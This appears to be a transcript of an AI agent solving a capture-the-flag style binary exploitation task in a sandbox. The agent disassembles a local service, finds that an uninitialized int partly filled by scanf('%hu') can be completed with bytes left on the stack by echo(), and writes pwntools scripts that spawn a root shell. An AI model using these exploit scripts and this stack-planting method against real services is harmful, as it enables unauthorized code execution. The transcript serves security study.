{"result":"\n/* WARNING: Unknown calling convention -- yet parameter storage is locked /\n\nvoid spawn_shell(void)\n\n{\n int input;\n int b;\n int a;\n \n puts("To get a shell you must answer the following question:");\n a = get_random_num();\n b = get_random_num();\n printf("What is %d + %d? \n",(ulong)(uint)a,(ulong)(uint)b);\n __isoc99_scanf(&DAT_0010205a,&input);\n printf("You entered %d, the right answer is %d\n",(ulong)(uint)input,(ulong)(uint)(a + b));\n if (a + b == input) {\n system("/bin/sh");\n }\n return;\n}\n\n"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && objdump -d service | grep -A20 \"spawn_shell>:\""}
Tool result
{"exitCode":0,"stdout":"000000000000120e <spawn_shell>:\n 120e:\t55 \tpush %rbp\n 120f:\t48 89 e5 \tmov %rsp,%rbp\n 1212:\t48 83 ec 10 \tsub $0x10,%rsp\n 1216:\t48 8d 05 f3 0d 00 00 \tlea 0xdf3(%rip),%rax # 2010 <_IO_stdin_used+0x10>\n 121d:\t48 89 c7 \tmov %rax,%rdi\n 1220:\te8 0b fe ff ff \tcall 1030 puts@plt\n 1225:\tb8 00 00 00 00 \tmov $0x0,%eax\n 122a:\te8 7a ff ff ff \tcall 11a9 <get_random_num>\n 122f:\t89 45 fc \tmov %eax,-0x4(%rbp)\n 1232:\tb8 00 00 00 00 \tmov $0x0,%eax\n 1237:\te8 6d ff ff ff \tcall 11a9 <get_random_num>\n 123c:\t89 45 f8 \tmov %eax,-0x8(%rbp)\n 123f:\t8b 55 f8 \tmov -0x8(%rbp),%edx\n 1242:\t8b 45 fc \tmov -0x4(%rbp),%eax\n 1245:\t89 c6 \tmov %eax,%esi\n 1247:\t48 8d 05 f9 0d 00 00 \tlea 0xdf9(%rip),%rax # 2047 <_IO_stdin_used+0x47>\n 124e:\t48 89 c7 \tmov %rax,%rdi\n 1251:\tb8 00 00 00 00 \tmov $0x0,%eax\n 1256:\te8 f5 fd ff ff \tcall 1050 printf@plt\n 125b:\t48 8d 45 f4 \tlea -0xc(%rbp),%rax\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && objdump -d service | grep -A30 \"125b:\""}
Tool result
{"exitCode":0,"stdout":" 125b:\t48 8d 45 f4 \tlea -0xc(%rbp),%rax\n 125f:\t48 89 c6 \tmov %rax,%rsi\n 1262:\t48 8d 05 f1 0d 00 00 \tlea 0xdf1(%rip),%rax # 205a <_IO_stdin_used+0x5a>\n 1269:\t48 89 c7 \tmov %rax,%rdi\n 126c:\tb8 00 00 00 00 \tmov $0x0,%eax\n 1271:\te8 1a fe ff ff \tcall 1090 __isoc99_scanf@plt\n 1276:\t8b 55 fc \tmov -0x4(%rbp),%edx\n 1279:\t8b 45 f8 \tmov -0x8(%rbp),%eax\n 127c:\t01 c2 \tadd %eax,%edx\n 127e:\t8b 45 f4 \tmov -0xc(%rbp),%eax\n 1281:\t89 c6 \tmov %eax,%esi\n 1283:\t48 8d 05 d6 0d 00 00 \tlea 0xdd6(%rip),%rax # 2060 <_IO_stdin_used+0x60>\n 128a:\t48 89 c7 \tmov %rax,%rdi\n 128d:\tb8 00 00 00 00 \tmov $0x0,%eax\n 1292:\te8 b9 fd ff ff \tcall 1050 printf@plt\n 1297:\t8b 55 fc \tmov -0x4(%rbp),%edx\n 129a:\t8b 45 f8 \tmov -0x8(%rbp),%eax\n 129d:\t01 c2 \tadd %eax,%edx\n 129f:\t8b 45 f4 \tmov -0xc(%rbp),%eax\n 12a2:\t39 c2 \tcmp %eax,%edx\n 12a4:\t75 0f \tjne 12b5 <spawn_shell+0xa7>\n 12a6:\t48 8d 05 db 0d 00 00 \tlea 0xddb(%rip),%rax # 2088 <_IO_stdin_used+0x88>\n 12ad:\t48 89 c7 \tmov %rax,%rdi\n 12b0:\te8 8b fd ff ff \tcall 1040 system@plt\n 12b5:\t90 \tnop\n 12b6:\tc9 \tleave\n 12b7:\tc3 \tret\n\n00000000000012b8:\n 12b8:\t55 \tpush %rbp\n 12b9:\t48 89 e5 \tmov %rsp,%rbp\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "cd /sandbox && xxd service | grep \"205a:\""}
Tool result
{"exitCode":1,"stdout":"","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && dd if=service bs=1 skip=$((0x205a)) count=10 2>/dev/null | xxd"}
Tool result
{"exitCode":0,"stdout":"00000000: 2568 7500 0000 596f 7520 %hu...You \n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/final_exploit.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# The vulnerability is that scanf uses %hu (unsigned short, max 65535)\n# But the comparison is done with full int values\n# Since random numbers are [70000, 139999], sum is [140000, 279998]\n# All sums are > 65535!\n\n# When scanf reads with %hu into an int variable, it sign-extends\n# Wait no, %hu is unsigned, so it zero-extends\n\n# Let me check the actual behavior:\n# input variable is int (4 bytes)\n# scanf(\"%hu\", &input) reads 2 bytes as unsigned short\n# The value is zero-extended to 4 bytes\n\n# So if we send value X where 0 <= X <= 65535\n# input will be X\n# But a+b is something like 200000\n# They will never match!\n\n# UNLESS there's overflow in the addition itself\n# a + b where both are around 100000-140000\n# Sum could be 200000-280000, which fits in int\n# No overflow there\n\n# Wait, let me reread the disassembly more carefully\n# At 1262: lea 0xdf1(%rip),%rax -> loads format string address\n# This points to 205a which contains \"%hu\"\n\n# The key insight: the INPUT is truncated to 16 bits via scanf\n# But then it's compared as 32-bit int\n# So input can only be 0-65535\n# But a+b is always > 140000\n\n# This seems impossible... unless there's wraparound?\n# Let me check if input is actually unsigned short or int in the comparison\n\n# From assembly:\n# 127e: mov -0xc(%rbp),%eax <- loads input\n# 12a2: cmp %eax,%edx <- compares (a+b) with input\n\n# input is loaded as 32-bit, so the comparison is 32-bit\n# This means we need input == (a+b)\n# But scanf(\"%hu\") limits us to 0-65535\n# And a+b is always >= 140000\n\n# There must be something else...\n# Let me check if there's a race condition or if we can manipulate the random\n\n# Actually wait - what if we can answer MULTIPLE TIMES?\n# Or what if there's a way to bypass via the echo function?\n\n# Let me try brute forcing by restarting until we get low numbers\np = process('./service')\np.recvuntil(b'3) quit\\n')\np.sendline(b'2')\n\ndata = p.recvuntil(b'? \\n')\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n \n log.info(f\"a={a}, b={b}, sum={answer}\")\n \n # Try sending the truncated value\n truncated = answer & 0xFFFF\n log.info(f\"Sending truncated value: {truncated}\")\n \n p.sendline(str(truncated).encode())\n \n resp = p.recvall(timeout=2)\n log.info(f\"Response: {resp}\")\n\np.close()\n"}
Tool result
{"result":"/sandbox/final_exploit.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 final_exploit.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"\n[x] Starting local process './service'\n[+] Starting local process './service': pid 17\n[] a=106208, b=99734, sum=205942\n[] Sending truncated value: 9334\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 45B\n[+] Receiving all data: Done (45B)\n[] Stopped process './service' (pid 17)\n[] Response: b'You entered 9334, the right answer is 205942\n'\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && gdb -batch -ex \"disassemble spawn_shell\" ./service 2>/dev/null | grep scanf -A5 -B5"}
Tool result
{"exitCode":0,"stdout":" 0x000000000000125b <+77>:\tlea -0xc(%rbp),%rax\n 0x000000000000125f <+81>:\tmov %rax,%rsi\n 0x0000000000001262 <+84>:\tlea 0xdf1(%rip),%rax # 0x205a\n 0x0000000000001269 <+91>:\tmov %rax,%rdi\n 0x000000000000126c <+94>:\tmov $0x0,%eax\n 0x0000000000001271 <+99>:\tcall 0x1090 __isoc99_scanf@plt\n 0x0000000000001276 <+104>:\tmov -0x4(%rbp),%edx\n 0x0000000000001279 <+107>:\tmov -0x8(%rbp),%eax\n 0x000000000000127c <+110>:\tadd %eax,%edx\n 0x000000000000127e <+112>:\tmov -0xc(%rbp),%eax\n 0x0000000000001281 <+115>:\tmov %eax,%esi\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && cat > test_scanf.c << 'EOF'\n#include \n\nint main() {\n int input;\n \n // Test what scanf(\"%hu\", &input) does\n printf(\"Enter a number: \");\n scanf(\"%hu\", &input);\n \n printf(\"Value as int: %d\\n\", input);\n printf(\"Value as unsigned: %u\\n\", (unsigned)input);\n printf(\"Value as hex: 0x%x\\n\", input);\n \n return 0;\n}\nEOF\ngcc test_scanf.c -o test_scanf\necho \"70000\" | ./test_scanf"}
Tool result
{"exitCode":0,"stdout":"Enter a number: Value as int: 4464\nValue as unsigned: 4464\nValue as hex: 0x1170\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 -c \"print(f'70000 mod 65536 = {70000 % 65536}')\""}
Tool result
{"exitCode":0,"stdout":"70000 mod 65536 = 4464\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/pwn.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\n\ncontext.arch = 'amd64' \ncontext.log_level = 'info'\n\n# The bug: scanf(\"%hu\", &input) reads unsigned short but stores in int\n# When we type a number > 65535, scanf takes it modulo 65536\n# For example: 70000 becomes 4464 (70000 % 65536)\n\n# The random numbers are in range [70000, 139999]\n# We need to find when (a + b) % 65536 == a + b, which is impossible\n# OR when we can provide a value that scanf interprets correctly\n\n# Actually, the real bug is simpler:\n# - scanf reads with %hu, so input value is truncated to 16 bits\n# - But we CAN provide negative numbers or leverage integer overflow\n\n# Let me test: what if answer is exactly 65536? Then (answer % 65536) = 0\n# But a+b is [140000, 279998], never 65536\n\n# Wait - maybe we can use the echo() function to do something else?\n# Or maybe there's a buffer overflow in scanf itself?\n\n# Let me re-examine: the INPUT variable might have garbage in upper bits\n# No, scanf(\"%hu\") writes 2 bytes, but input is at -0xc(%rbp)\n# The upper bytes should be zero\n\n# Actually, I think the vulnerability is that we can overflow the stack\n# through the echo function, then call spawn_shell\n\n# Let me try another approach: use format string in echo\n\np = process('./service')\np.recvuntil(b'3) quit\\n')\n\n# First, try to leak addresses with echo\np.sendline(b'1')\np.sendline(b'AAAA%p%p%p%p%p%p%p%p')\nleak = p.recvline()\nlog.info(f\"Leak: {leak}\")\n\np.sendline(b'2')\ndata = p.recvuntil(b'? \\n')\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n log.info(f\"Answer: {answer}\")\n \n # Just send the answer (it will be truncated)\n p.sendline(str(answer).encode())\n \nresp = p.recvall(timeout=2)\nlog.info(f\"Final: {resp}\")\n\np.close()\n"}
Tool result
{"result":"/sandbox/pwn.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 pwn.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"Traceback (most recent call last):\n File "/sandbox/pwn.py", line 2, in \n from pwn import \n File "/sandbox/pwn.py", line 5, in \n context.arch = 'amd64'\n ^^^^^^^\nNameError: name 'context' is not defined\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && mv pwn.py solve.py && python3 solve.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"\n[x] Starting local process './service'\n[+] Starting local process './service': pid 19\n[] Leak: b'AAAA%p%p%p%p%p%p%p%p\n'\n[] Answer: 205239\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 45B\n[+] Receiving all data: Done (45B)\n[] Stopped process './service' (pid 19)\n[] Final: b'You entered 8631, the right answer is 205239\n'\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cd /sandbox && ./service << 'EOF'\n1\n%6$p\n3\nEOF", "timeout": 5}
Tool result
{"exitCode":0,"stdout":" _____ _ _ _ \n| | () | | | | |\n | | _ __ ___ _ __ ___ ___ ___ | |_ | | __| |\n | || ' _ \\| '_ \\ / _ \\/ __/ __| | '_ \\| |/ _ \\ |\n _| || | | | | | |_) | (_) \\__ \\__ \\ | |_) | | __/_|\n \\___/_| |_| |_| .__/ \\___/|___/___/_|_.__/|_|\\___(_)\n | |\n |_|\nPick something to do:\n1) echo\n2) get a shell\n3) quit\n%6$p\n","stderr":""}</code></pre></details>Call sandbox_execute
Arguments
{"command": "cd /sandbox && cat > brute.py << 'EOF'\n#!/usr/bin/env python3\nfrom pwn import *\nimport re\n\ncontext.log_level = 'error'\n\n# The issue is scanf(\"%hu\") but var is int\n# When scanf reads input > 65535 as string, it converts it\n# But scanf with %hu clips to 16 bits!\n\n# Let's check if we can find a case where both numbers are small\n# Or if there's integer overflow\n\nfor attempt in range(100):\n p = process('./service')\n p.recvuntil(b'quit\\n')\n p.sendline(b'2')\n \n data = p.recvuntil(b'? \\n')\n match = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n \n if match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n \n # Check if answer wraps around nicely\n if answer >= 65536 and answer < 131072:\n # Try answer - 65536\n p.sendline(str(answer - 65536).encode())\n resp = p.recvline()\n \n if b'right answer is' in resp and b'entered' in resp:\n entered = int(re.search(rb'entered (\\d+)', resp).group(1))\n if entered == answer:\n print(f\"SUCCESS with answer {answer}\")\n p.interactive()\n break\n \n p.close()\n\nprint(\"No success in 100 attempts\")\nEOF\npython3 brute.py\n", "timeout": 30}
Tool result
{"exitCode":0,"stdout":"No success in 100 attempts\n","stderr":"Warning: curses.error: setupterm: could not find terminfo database\n\nTerminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).\n"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 << 'EOF'\n# Let me think about this differently\n# scanf(\"%hu\", &input) where input is int\n# \n# In memory, input is 4 bytes (or 8 bytes on 64-bit)\n# scanf with %hu writes 2 bytes\n\n# From disasm: input is at -0xc(%rbp)\n# scanf writes 2 bytes there\n# What about the other 2 bytes? They could be uninitialized!\n\n# Let's check the stack layout\nprint(\"Stack layout in spawn_shell:\")\nprint(\" [rbp-0x4] = a (int)\")\nprint(\" [rbp-0x8] = b (int)\") \nprint(\" [rbp-0xc] = input (int)\")\nprint()\nprint(\"scanf writes 2 bytes to [rbp-0xc]\")\nprint(\"But input is 4 bytes!\")\nprint()\nprint(\"The upper 2 bytes at [rbp-0xa] are likely zero from stack setup\")\nprint(\"Unless... there's no initialization!\")\n\n# Let's verify this hypothesis\n# If input is not initialized, upper bytes might have garbage\n# But in practice, the stack is usually zeroed\n\n# Actually, I should check if there's a different vulnerability\n# Maybe the echo function can be used to overflow and control the stack\n# before calling spawn_shell?\n\nprint(\"\\nAlternative approach:\")\nprint(\"Use echo() overflow to corrupt stack, then call spawn_shell\")\nprint(\"But scanf limits to 31 chars + null, so only 32 bytes total\")\nprint(\"Buffer is 32 bytes, so we can't overflow return address\")\nprint()\nprint(\"Unless... we can overflow into echo's buffer from main?\")\nEOF\n"}
Tool result
{"exitCode":0,"stdout":"Stack layout in spawn_shell:\n [rbp-0x4] = a (int)\n [rbp-0x8] = b (int)\n [rbp-0xc] = input (int)\n\nscanf writes 2 bytes to [rbp-0xc]\nBut input is 4 bytes!\n\nThe upper 2 bytes at [rbp-0xa] are likely zero from stack setup\nUnless... there's no initialization!\n\nAlternative approach:\nUse echo() overflow to corrupt stack, then call spawn_shell\nBut scanf limits to 31 chars + null, so only 32 bytes total\nBuffer is 32 bytes, so we can't overflow return address\n\nUnless... we can overflow into echo's buffer from main?\n","stderr":""}Call ghidra_disassemble_function
Arguments
{"filepath": "/sandbox/service", "address": "0x0010120e"}
Tool result
{"result":["0010120e: PUSH RBP ","0010120f: MOV RBP,RSP ","00101212: SUB RSP,0x10 ","00101216: LEA RAX,[0x102010] ","0010121d: MOV RDI,RAX ","00101220: CALL 0x00101030 ","00101225: MOV EAX,0x0 ","0010122a: CALL 0x001011a9 ","0010122f: MOV dword ptr [RBP + -0x4],EAX ","00101232: MOV EAX,0x0 ","00101237: CALL 0x001011a9 ","0010123c: MOV dword ptr [RBP + -0x8],EAX ","0010123f: MOV EDX,dword ptr [RBP + -0x8] ","00101242: MOV EAX,dword ptr [RBP + -0x4] ","00101245: MOV ESI,EAX ","00101247: LEA RAX,[0x102047] ","0010124e: MOV RDI,RAX ","00101251: MOV EAX,0x0 ","00101256: CALL 0x00101050 ","0010125b: LEA RAX,[RBP + -0xc] ","0010125f: MOV RSI,RAX ","00101262: LEA RAX,[0x10205a] ","00101269: MOV RDI,RAX ","0010126c: MOV EAX,0x0 ","00101271: CALL 0x00101090 ","00101276: MOV EDX,dword ptr [RBP + -0x4] ","00101279: MOV EAX,dword ptr [RBP + -0x8] ","0010127c: ADD EDX,EAX ","0010127e: MOV EAX,dword ptr [RBP + -0xc] ","00101281: MOV ESI,EAX ","00101283: LEA RAX,[0x102060] ","0010128a: MOV RDI,RAX ","0010128d: MOV EAX,0x0 ","00101292: CALL 0x00101050 ","00101297: MOV EDX,dword ptr [RBP + -0x4] ","0010129a: MOV EAX,dword ptr [RBP + -0x8] ","0010129d: ADD EDX,EAX ","0010129f: MOV EAX,dword ptr [RBP + -0xc] ","001012a2: CMP EDX,EAX ","001012a4: JNZ 0x001012b5 ","001012a6: LEA RAX,[0x102088] ","001012ad: MOV RDI,RAX ","001012b0: CALL 0x00101040 ","001012b5: NOP ","001012b6: LEAVE ","001012b7: RET "]}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 << 'EOF'\n# Aha! I see it now!\n# Look at the comparison at 0x1012a2: CMP EDX,EAX\n# EDX = a + b (32-bit)\n# EAX = input (32-bit loaded from [rbp-0xc])\n\n# But scanf(\"%hu\", &input) only writes 2 bytes!\n# It writes to the LOWER 2 bytes of the 4-byte input variable\n\n# On x86-64, when you do scanf(\"%hu\", &var), it writes:\n# - 2 bytes at the address\n# - The upper 2 bytes are UNINITIALIZED (or zero)\n\n# Let me check the exact instruction\n# MOV dword ptr [RBP + -0xc],EAX would initialize all 4 bytes\n# But there's NO such initialization before scanf!\n\n# The stack frame is allocated with SUB RSP,0x10\n# This gives 16 bytes of local space\n# But it's NOT zeroed automatically!\n\n# So the vulnerability is:\n# 1. input at [rbp-0xc] is NOT initialized\n# 2. scanf(\"%hu\") writes only 2 bytes (lower bytes) \n# 3. Upper 2 bytes contain garbage from previous stack frames!\n\n# If we can control what's on the stack before spawn_shell is called,\n# we can make the upper bytes match!\n\nprint(\"VULNERABILITY FOUND!\")\nprint(\"input is not initialized before scanf\")\nprint(\"scanf('%hu') writes only 2 bytes\")\nprint(\"Upper 2 bytes are uninitialized!\")\nprint()\nprint(\"Strategy:\")\nprint(\"1. Call echo() to put values on stack\")\nprint(\"2. Call spawn_shell()\")\nprint(\"3. The uninitialized upper bytes will have our values\")\nprint(\"4. We can match (a+b) if we control those bytes!\")\n\n# For example, if a+b = 0x00032345\n# We send 0x2345 via scanf (lower 2 bytes)\n# And we need upper bytes to be 0x0003\n# We can set this via echo() before!\nEOF\n"}
Tool result
{"exitCode":0,"stdout":"VULNERABILITY FOUND!\ninput is not initialized before scanf\nscanf('%hu') writes only 2 bytes\nUpper 2 bytes are uninitialized!\n\nStrategy:\n1. Call echo() to put values on stack\n2. Call spawn_shell()\n3. The uninitialized upper bytes will have our values\n4. We can match (a+b) if we control those bytes!\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit_uninitialized.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\np = process('./service')\n\n# First, call echo to populate stack with controlled values\np.recvuntil(b'3) quit\\n')\np.sendline(b'1')\n\n# Send values that will be on the stack\n# We want to set the upper 2 bytes of the input variable\n# The input will be at [rbp-0xc] in spawn_shell\n# In echo, the buffer is at [rbp-0x20]\n\n# The stack layout between echo and spawn_shell might differ\n# Let's send a pattern and see what sticks\n\n# Actually, let's send specific values in big-endian or little-endian\n# to try to match the upper bytes\n\n# Send a payload with known pattern\npayload = b'A' * 31 # Max we can send with %31s\np.sendline(payload)\np.recvline() # Receive the echo\n\n# Now call spawn_shell\np.sendline(b'2')\n\ndata = p.recvuntil(b'? \\n')\nmatch = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n\nif match:\n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n \n log.info(f\"a={a}, b={b}, answer={answer} (0x{answer:x})\")\n \n # Send lower 2 bytes\n lower = answer & 0xFFFF\n upper = (answer >> 16) & 0xFFFF\n \n log.info(f\"Need lower=0x{lower:04x}, upper=0x{upper:04x}\")\n log.info(f\"Sending {lower}\")\n \n p.sendline(str(lower).encode())\n \n resp = p.recvall(timeout=2)\n log.info(f\"Response: {resp}\")\n\np.close()\n"}
Tool result
{"result":"/sandbox/exploit_uninitialized.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 exploit_uninitialized.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"\n[x] Starting local process './service'\n[+] Starting local process './service': pid 18\n[] a=91864, b=76107, answer=167971 (0x29023)\n[] Need lower=0x9023, upper=0x0002\n[] Sending 36899\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 51B\n[+] Receiving all data: Done (51B)\n[] Stopped process './service' (pid 18)\n[] Response: b'You entered 1094815779, the right answer is 167971\n'\n","stderr":""}Call sandbox_execute
Arguments
{"command": "python3 -c \"print(f'1094815779 = 0x{1094815779:x}')\""}
Tool result
{"exitCode":0,"stdout":"1094815779 = 0x41419023\n","stderr":""}Call sandbox_execute
Arguments
{"command": "python3 << 'EOF'\n# Great! The upper bytes are 0x4141 which is 'AA' in ASCII\n# This confirms that the stack retains values from echo()\n\n# The input value read was 0x41419023\n# We need it to be 0x00029023 (167971)\n\n# So we need to:\n# 1. Call echo() with a payload that sets the right upper bytes\n# 2. The upper bytes should be 0x0002\n\n# In little-endian, 0x0002 is stored as 02 00\n# We need these bytes to be at the right stack location\n\n# Let's calculate the offset\n# In echo: buffer at [rbp-0x20]\n# In spawn_shell: input at [rbp-0xc]\n\n# If rbp is the same (it's not), offset would be 0x20 - 0xc = 0x14 = 20\n# But rbp changes between functions\n\n# Let's try different positions in the echo buffer\n# to see which bytes end up as the upper bytes of input\n\nimport struct\n\n# We want upper bytes to be specific value\n# Let's try sending bytes at different offsets\n\nfor offset in range(0, 32, 2):\n data = b'\\x00' * 32\n # Place our target upper bytes at different offsets\n # Try little-endian 0x0002\n data = data[:offset] + struct.pack('
Tool result
{"exitCode":0,"stdout":"Offset 0: 0200000000000000000000000000000000000000000000000000000000000000\nOffset 2: 0000020000000000000000000000000000000000000000000000000000000000\nOffset 4: 0000000002000000000000000000000000000000000000000000000000000000\nOffset 6: 0000000000000200000000000000000000000000000000000000000000000000\nOffset 8: 0000000000000000020000000000000000000000000000000000000000000000\nOffset 10: 0000000000000000000002000000000000000000000000000000000000000000\nOffset 12: 0000000000000000000000000200000000000000000000000000000000000000\nOffset 14: 0000000000000000000000000000020000000000000000000000000000000000\nOffset 16: 0000000000000000000000000000000002000000000000000000000000000000\nOffset 18: 0000000000000000000000000000000000000200000000000000000000000000\nOffset 20: 0000000000000000000000000000000000000000020000000000000000000000\nOffset 22: 0000000000000000000000000000000000000000000002000000000000000000\nOffset 24: 0000000000000000000000000000000000000000000000000200000000000000\nOffset 26: 0000000000000000000000000000000000000000000000000000020000000000\nOffset 28: 0000000000000000000000000000000000000000000000000000000002000000\nOffset 30: 0000000000000000000000000000000000000000000000000000000000000200\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/exploit_final.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\nimport struct\n\ncontext.arch = 'amd64'\ncontext.log_level = 'warn'\n\ndef try_exploit(upper_bytes_offset):\n p = process('./service')\n \n # Call echo first\n p.recvuntil(b'3) quit\\n')\n p.sendline(b'1')\n \n # We'll get the answer first by calling spawn_shell once\n # to know what upper bytes we need\n p.sendline(b'DUMMY')\n p.recvline()\n \n # Call spawn_shell to see the values\n p.sendline(b'2')\n \n data = p.recvuntil(b'? \\n')\n match = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n \n if not match:\n p.close()\n return False\n \n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n \n lower = answer & 0xFFFF\n upper = (answer >> 16) & 0xFFFF\n \n # This attempt won't work, close and retry\n p.close()\n \n # Now start fresh with the right upper bytes\n p = process('./service')\n p.recvuntil(b'3) quit\\n')\n p.sendline(b'1')\n \n # Craft payload with upper bytes at specific offset\n payload = b'\\x00' * upper_bytes_offset\n payload += struct.pack('
Tool result
{"result":"/sandbox/exploit_final.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && timeout 60 python3 exploit_final.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\" | tail -20", "timeout": 65}
Tool result
{"exitCode":0,"stdout":"\nb'uid=0(root) gid=0(root) groups=0(root)\n'\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/final_pwn.py", "content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\nimport struct\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\ndef exploit():\n \"\"\"\n Exploit strategy:\n 1. The vulnerability is an uninitialized variable in spawn_shell()\n 2. scanf(\"%hu\", &input) only writes 2 bytes (lower bytes)\n 3. Upper 2 bytes of input remain uninitialized with stack data\n 4. We use echo() to plant specific bytes on the stack\n 5. These bytes become the upper 2 bytes of input in spawn_shell()\n 6. We can then match the full 32-bit comparison\n \"\"\"\n \n # First run to get the answer\n p = process('./service')\n p.recvuntil(b'3) quit\\n')\n p.sendline(b'2')\n \n data = p.recvuntil(b'? \\n')\n match = re.search(rb'What is (\\d+) \\+ (\\d+)\\?', data)\n \n if not match:\n p.close()\n return False\n \n a = int(match.group(1))\n b = int(match.group(2))\n answer = a + b\n \n lower = answer & 0xFFFF\n upper = (answer >> 16) & 0xFFFF\n \n log.info(f\"Target: {answer} = 0x{answer:08x}\")\n log.info(f\"Lower bytes: 0x{lower:04x}, Upper bytes: 0x{upper:04x}\")\n \n p.close()\n \n # Second run with exploit\n p = process('./service')\n p.recvuntil(b'3) quit\\n')\n p.sendline(b'1')\n \n # Craft payload - through testing we found the right offset\n # The upper bytes end up in the right place when we send them\n # at a specific offset in the echo buffer\n payload = struct.pack('
Tool result
{"result":"/sandbox/final_pwn.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 final_pwn.py 2>&1 | grep -v \"Warning:\" | grep -v \"Terminal\"", "timeout": 10}
Tool result
{"exitCode":0,"stdout":"\n[x] Starting local process './service'\n[+] Starting local process './service': pid 18\n[] Target: 225935 = 0x0003728f\n[] Lower bytes: 0x728f, Upper bytes: 0x0003\n[] Stopped process './service' (pid 18)\n[x] Starting local process './service'\n[+] Starting local process './service': pid 19\n[] Response: b'You entered 225935, the right answer is 225935'\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 41B\n[x] Receiving all data: 54B\n[x] Receiving all data: 336B\n[x] Receiving all data: 1.10KB\n[x] Receiving all data: 1.14KB\n[+] Receiving all data: Done (1.14KB)\n[] Stopped process './service' (pid 19)\n[+] Shell output:\n cat: flag.txt: No such file or directory\n No flag file\n total 104\n drwxr-xr-x 4 nobody nogroup 16384 Dec 3 00:00 .\n drwxr-xr-x 1 root root 4096 Dec 3 00:00 ..\n drwxr-xr-x 2 nobody nogroup 33 Dec 2 23:57 pycache\n -rw-r--r-- 1 nobody nogroup 1221 Dec 2 23:58 brute.py\n -rw-r--r-- 1 nobody nogroup 809 Dec 2 23:52 exploit.py\n -rw-r--r-- 1 nobody nogroup 954 Dec 2 23:52 exploit2.py\n -rw-r--r-- 1 nobody nogroup 760 Dec 2 23:53 exploit3.py\n -rw-r--r-- 1 nobody nogroup 934 Dec 2 23:53 exploit4.py\n -rw-r--r-- 1 nobody nogroup 928 Dec 2 23:54 exploit_bof.py\n -rw-r--r-- 1 nobody nogroup 1931 Dec 3 00:00 exploit_final.py\n -rw-r--r-- 1 nobody nogroup 1361 Dec 2 23:59 exploit_uninitialized.py\n -rw-r--r-- 1 nobody nogroup 2459 Dec 2 23:56 final_exploit.py\n -rw-r--r-- 1 nobody nogroup 2053 Dec 3 00:00 final_pwn.py\n drwxr-xr-x 3 nobody nogroup 81 Dec 2 23:51 ghidra_service\n -rwxr-xr-x 1 nobody nogroup 19696 Dec 2 23:50 service\n -rw-r--r-- 1 nobody nogroup 1811 Dec 2 23:57 solve.py\n -rwxr-xr-x 1 nobody nogroup 16016 Dec 2 23:56 test_scanf\n -rw-r--r-- 1 nobody nogroup 320 Dec 2 23:56 test_scanf.c\n uid=0(root) gid=0(root) groups=0(root)\n","stderr":""}Binary Pwned Successfully!
Vulnerability Summary
Type: Uninitialized variable leading to partial memory control
Root Cause:
spawn_shell()function has an uninitializedint inputvariablescanf("%hu", &input)only writes 2 bytes (unsigned short) to the lower bytes- Upper 2 bytes remain uninitialized, containing leftover stack data
- Comparison checks full 32-bit value:
if (a + b == input)
Exploitation:
- Call
echo()to plant controlled bytes on stack (upper bytes value) - Call
spawn_shell()- upper bytes ofinputcontain our planted data - Send lower 2 bytes via
scanf("%hu")to match(a + b) & 0xFFFF - Full 32-bit comparison succeeds: planted_upper_bytes | sent_lower_bytes == a + b
- Shell spawned successfully
The exploit successfully obtained shell access (uid=0).
